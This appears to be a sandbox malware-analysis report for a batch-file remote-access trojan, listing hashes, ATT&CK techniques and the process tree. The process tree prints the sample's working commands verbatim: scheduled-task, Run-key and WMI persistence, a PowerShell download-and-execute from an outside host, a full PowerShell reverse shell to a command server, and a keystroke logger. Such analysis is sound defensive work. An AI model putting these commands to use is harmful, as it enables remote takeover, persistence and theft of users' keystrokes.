678c7676f76c23d9e9174ea24dad76b8cde47e0ac795dbf1b940e2f74046264a

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/05/2026, 01:31

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General

Target
rat_build_164458_014440.bat
Size 4KB
Sample260529-bxwbpsf13j
SHA256 678c7676f76c23d9e9174ea24dad76b8cde47e0ac795dbf1b940e2f74046264a
MD5 01a0ccd1bf1e99f8c9063ba93b2dd245
SHA1 674343e8347e30e0a15a6e9152ea77d66fbe97a9
SHA512 bff6b7706508723b4d73582151b8f08661ce09c0fdff2cf31af6aaefc59c971b749f835cb318311c3de8cfd984bf3a1374c265bb52277e9f65481377b6ede0ae
SSDEEP 96:eI3XWSsnYkkfNJUBeRPqNqsTKZFatSkgh4OJiFgZk8mvlo18J:evSsnYR+UCUsWLaIkmiFgkHlpJ
TLSH
T1F5B1E917A797A12198F82668CD733C08536CE5FB1340C99EFA49CCC85A4CF83A65C6E7
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://payload.server/update_164458.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
312	powershell.exe
1148	powershell.exe
4312	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1074038928-2032447174-945360078-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Updater_164458 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_164458.bat"	reg.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	checkip.amazonaws.com

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
4156	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4192	systeminfo.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3452	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1156	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1148	powershell.exe
1148	powershell.exe
312	powershell.exe
312	powershell.exe
4312	powershell.exe
4312	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1460	WMIC.exe
Token: SeSecurityPrivilege	1460	WMIC.exe
Token: SeTakeOwnershipPrivilege	1460	WMIC.exe
Token: SeLoadDriverPrivilege	1460	WMIC.exe
Token: SeSystemProfilePrivilege	1460	WMIC.exe
Token: SeSystemtimePrivilege	1460	WMIC.exe
Token: SeProfSingleProcessPrivilege	1460	WMIC.exe
Token: SeIncBasePriorityPrivilege	1460	WMIC.exe
Token: SeCreatePagefilePrivilege	1460	WMIC.exe
Token: SeBackupPrivilege	1460	WMIC.exe
Token: SeRestorePrivilege	1460	WMIC.exe
Token: SeShutdownPrivilege	1460	WMIC.exe
Token: SeDebugPrivilege	1460	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1460	WMIC.exe
Token: SeRemoteShutdownPrivilege	1460	WMIC.exe
Token: SeUndockPrivilege	1460	WMIC.exe
Token: SeManageVolumePrivilege	1460	WMIC.exe
Token: 33	1460	WMIC.exe
Token: 34	1460	WMIC.exe
Token: 35	1460	WMIC.exe
Token: 36	1460	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1460	WMIC.exe
Token: SeSecurityPrivilege	1460	WMIC.exe
Token: SeTakeOwnershipPrivilege	1460	WMIC.exe
Token: SeLoadDriverPrivilege	1460	WMIC.exe
Token: SeSystemProfilePrivilege	1460	WMIC.exe
Token: SeSystemtimePrivilege	1460	WMIC.exe
Token: SeProfSingleProcessPrivilege	1460	WMIC.exe
Token: SeIncBasePriorityPrivilege	1460	WMIC.exe
Token: SeCreatePagefilePrivilege	1460	WMIC.exe
Token: SeBackupPrivilege	1460	WMIC.exe
Token: SeRestorePrivilege	1460	WMIC.exe
Token: SeShutdownPrivilege	1460	WMIC.exe
Token: SeDebugPrivilege	1460	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1460	WMIC.exe
Token: SeRemoteShutdownPrivilege	1460	WMIC.exe
Token: SeUndockPrivilege	1460	WMIC.exe
Token: SeManageVolumePrivilege	1460	WMIC.exe
Token: 33	1460	WMIC.exe
Token: 34	1460	WMIC.exe
Token: 35	1460	WMIC.exe
Token: 36	1460	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3360	WMIC.exe
Token: SeSecurityPrivilege	3360	WMIC.exe
Token: SeTakeOwnershipPrivilege	3360	WMIC.exe
Token: SeLoadDriverPrivilege	3360	WMIC.exe
Token: SeSystemProfilePrivilege	3360	WMIC.exe
Token: SeSystemtimePrivilege	3360	WMIC.exe
Token: SeProfSingleProcessPrivilege	3360	WMIC.exe
Token: SeIncBasePriorityPrivilege	3360	WMIC.exe
Token: SeCreatePagefilePrivilege	3360	WMIC.exe
Token: SeBackupPrivilege	3360	WMIC.exe
Token: SeRestorePrivilege	3360	WMIC.exe
Token: SeShutdownPrivilege	3360	WMIC.exe
Token: SeDebugPrivilege	3360	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3360	WMIC.exe
Token: SeRemoteShutdownPrivilege	3360	WMIC.exe
Token: SeUndockPrivilege	3360	WMIC.exe
Token: SeManageVolumePrivilege	3360	WMIC.exe
Token: 33	3360	WMIC.exe
Token: 34	3360	WMIC.exe
Token: 35	3360	WMIC.exe
Token: 36	3360	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3360	WMIC.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 1156	4680	cmd.exe	87
PID 4680 wrote to memory of 3452	4680	cmd.exe	88
PID 4680 wrote to memory of 1460	4680	cmd.exe	90
PID 4680 wrote to memory of 3360	4680	cmd.exe	91
PID 4680 wrote to memory of 4804	4680	cmd.exe	93
PID 4680 wrote to memory of 4192	4680	cmd.exe	98
PID 4680 wrote to memory of 4156	4680	cmd.exe	100
PID 4680 wrote to memory of 1148	4680	cmd.exe	101
PID 4680 wrote to memory of 312	4680	cmd.exe	102
PID 4680 wrote to memory of 4312	4680	cmd.exe	103

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_164458_014440.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "WinUpdate_164458" /tr "C:\Users\Admin\AppData\Local\Temp\_164458.bat" /sc onlogon /ru "SYSTEM" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1156
- C:\Windows\system32\reg.exe
  reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_164458" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_164458.bat" /f
  2⤵
  - Adds Run key to start application
  - Modifies registry key
  PID:3452
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_164458", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1460
- C:\Windows\System32\Wbem\WMIC.exe
  wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_164458", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_164458.bat"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3360
- C:\Windows\system32\curl.exe
  curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_164458.txt
  2⤵
  PID:4804
- C:\Windows\system32\systeminfo.exe
  systeminfo
  2⤵
  - Gathers system information
  PID:4192
- C:\Windows\system32\NETSTAT.EXE
  netstat -an
  2⤵
  - Gathers network information
  PID:4156
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_164458.ps1'))"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1148
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4312

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
TLSH
T15F51EE323375B1D8C9167F071E68198053BF4355EAA4AF1CB69C625EDD2640B9F222F3
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 4e2a48a91fb62ca96aeb378d761d6d2a618ff180197a834693dc57ee259a736f
MD5 deee64bbef2c2ccc214696a796b3e89a
SHA1 0b1bc0b9dfa44e5c785c96f4e959549f26f763ea
SHA512 1fb4cf9d31c8e4f48033c2d6b295e537cbf55375bf649005a3537ad0e9b26ab43461620ee8ae189007c9ea65d11c2a6e00cf7b63c1f422e73e27404a144e3f44
TLSH
T18C117A27F39CC921CC96153A409D9C1172B683D7419EDF9F6FC4D214A07F584CB71194
MD5 SHA1 SHA512 TLSH

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 96d4af50353e27a439096e24f730590d1a2dd09c768dc5ccf8fd366b5702687a
MD5 de30fd570dcef55567e7869eb20b19b6
SHA1 f8324622a4e558a81cd66222b18aa2dbc4c741db
SHA512 a4fcd25d6f26dcdeb38f0626ea4330e8b92298dbf8f98a06e98fb9c20500c9d5906108bf20da7907c5f950fb0f91ad26aa725e3c982d5a2f1cd4d8a890a99634
TLSH
T1D9115727B39CC9A1CC96153A409D9C1172B683D7409EDEDF6FC0D214A17F584CB61190
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ggmqaahj.ufg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ggmqaahj.ufg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1148-3-0x000001D1EBEF0000-0x000001D1EBF12000-memory.dmp

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